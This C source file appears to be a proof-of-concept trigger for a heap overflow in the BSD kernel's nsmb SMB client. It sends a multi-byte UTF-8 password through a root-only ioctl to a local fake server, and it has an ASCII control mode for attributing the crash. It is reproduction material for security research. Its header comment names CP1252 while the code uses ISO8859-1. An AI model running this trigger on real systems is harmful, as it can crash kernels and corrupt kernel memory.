/*
 * DF-0641 trigger: open /dev/nsmb (root-only, mode 0700) and issue
 * SMBIOC_OPENSESSION against 127.0.0.1:139 with a multi-byte UTF-8
 * password and localcs=UTF-8 / servercs=CP1252.  If the kernel iconv
 * shortens pbuf and ssnsetup is reached, the kernel heap overflows in
 * smb_smb_ssnsetup() (smb_smb.c:269-270).
 *
 * Root-only: /dev/nsmb autoclone parent is created 0700 by smb_dev.c.
 *
 * Run AFTER fakesmb (the fake SMB server) is listening on 127.0.0.1:139.
 */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

/* Pull the nsmb ioctl structs from the kernel header if present. */
#include <netsmb/smb_dev.h>
#include <sys/iconv.h>		/* kiconv_add_xlat16_cspairs */

int
main(int argc, char **argv)
{
	const char *dev = (argc > 1) ? argv[1] : "/dev/nsmb";
	struct sockaddr_in sa, la;
	struct smbioc_ossn ss;
	int fd, error;

	/* Build a multi-byte UTF-8 password.  U+00C0..U+00FF is encoded as
	 * 2 bytes in UTF-8 (0xC3 0x80..0xBF) and 1 byte in CP1252, so the
	 * toserver conversion (UTF-8 -> CP1252) SHORTENS pbuf.  We build a
	 * 128-byte UTF-8 string (64 valid two-byte chars; no embedded NUL).
	 *
	 * CONTROL mode: pass any 2nd arg to use a plain ASCII password that
	 * does NOT shorten under iconv -> NO overflow.  If the crash only
	 * happens in the multi-byte case, it is attributable to this bug. */
	static unsigned char pass[129];
	int i;
	if (argc > 2) {
		/* ASCII control: 128 single-byte chars -> no shortening */
		for (i = 0; i < 128; i++) pass[i] = 'A' + (i % 26);
		pass[128] = '\0';
		fprintf(stderr, "[trigger] CONTROL mode: ASCII password (no shortening)\n");
	} else {
		for (i = 0; i < 64; i++) {
			pass[i*2]   = 0xC3;            /* lead byte: U+00C0..U+00FF */
			pass[i*2+1] = 0x80 + (i % 0x40); /* valid 2nd byte 0x80..0xBF */
		}
		pass[128] = '\0';
	}

	fd = open(dev, O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s (are you root? device is 0700)\n",
		    dev, strerror(errno));
		return 2;
	}
	fprintf(stderr, "[trigger] opened %s fd=%d\n", dev, fd);

	memset(&sa, 0, sizeof(sa));
	sa.sin_len = sizeof(sa);
	sa.sin_family = AF_INET;
	sa.sin_port = htons(139);
	sa.sin_addr.s_addr = inet_addr("127.0.0.1");

	/* A local address is REQUIRED: smb_vc_create() does
	 * vcp->vc_laddr = dup_sockaddr(vcspec->lap) WITHOUT a NULL guard,
	 * so lap==NULL derefs NULL.  Use INADDR_ANY. */
	memset(&la, 0, sizeof(la));
	la.sin_len = sizeof(la);
	la.sin_family = AF_INET;
	la.sin_port = htons(0);
	la.sin_addr.s_addr = htonl(INADDR_ANY);

	memset(&ss, 0, sizeof(ss));
	ss.ioc_opt = 0x0001;		/* SMBVOPT_CREATE */
	ss.ioc_server = (struct sockaddr *)&sa;
	ss.ioc_svlen  = sizeof(sa);
	ss.ioc_local  = (struct sockaddr *)&la;
	ss.ioc_lolen  = sizeof(la);
	strlcpy(ss.ioc_srvname,   "FAKE",       sizeof(ss.ioc_srvname));
	strlcpy(ss.ioc_localcs,   "UTF-8",      sizeof(ss.ioc_localcs));
	strlcpy(ss.ioc_servercs,  "ISO8859-1",  sizeof(ss.ioc_servercs));
	strlcpy(ss.ioc_user,      "user",       sizeof(ss.ioc_user));
	strlcpy(ss.ioc_workgroup, "WG",         sizeof(ss.ioc_workgroup));
	memcpy(ss.ioc_password, pass, sizeof(ss.ioc_password));
	ss.ioc_owner   = 0;
	ss.ioc_group   = 0;
	ss.ioc_mode    = 0;
	ss.ioc_rights  = 0;
	ss.ioc_timeout = 5;
	ss.ioc_retrycount = 1;

	fprintf(stderr, "[trigger] SMBIOC_OPENSESSION passwd[0..3]=%02x %02x %02x %02x len=%zu\n",
	    pass[0], pass[1], pass[2], pass[3], strlen((char *)pass));

	/* Register the localcs<->servercs iconv converter in the kernel,
	 * exactly as mount_smbfs does before issuing the ioctl.  This makes
	 * iconv_open("ISO8859-1","UTF-8") succeed so the toserver handle
	 * (which SHORTENS the multi-byte UTF-8 password) is created. */
	{
		int r1 = kiconv_add_xlat16_cspairs(ss.ioc_servercs, ss.ioc_localcs);
		int r2 = kiconv_add_xlat16_cspairs(ss.ioc_localcs, ss.ioc_servercs);
		fprintf(stderr, "[trigger] kiconv_add_cspairs %s<->%s = %d, %d\n",
		    ss.ioc_servercs, ss.ioc_localcs, r1, r2);
	}

	error = ioctl(fd, SMBIOC_OPENSESSION, &ss);
	fprintf(stderr, "[trigger] SMBIOC_OPENSESSION returned %d errno=%d (%s)\n",
	    error, errno, strerror(errno));

	/* If we get here the overflow did NOT fire (or charset was wrong). */
	close(fd);
	return 0;
}
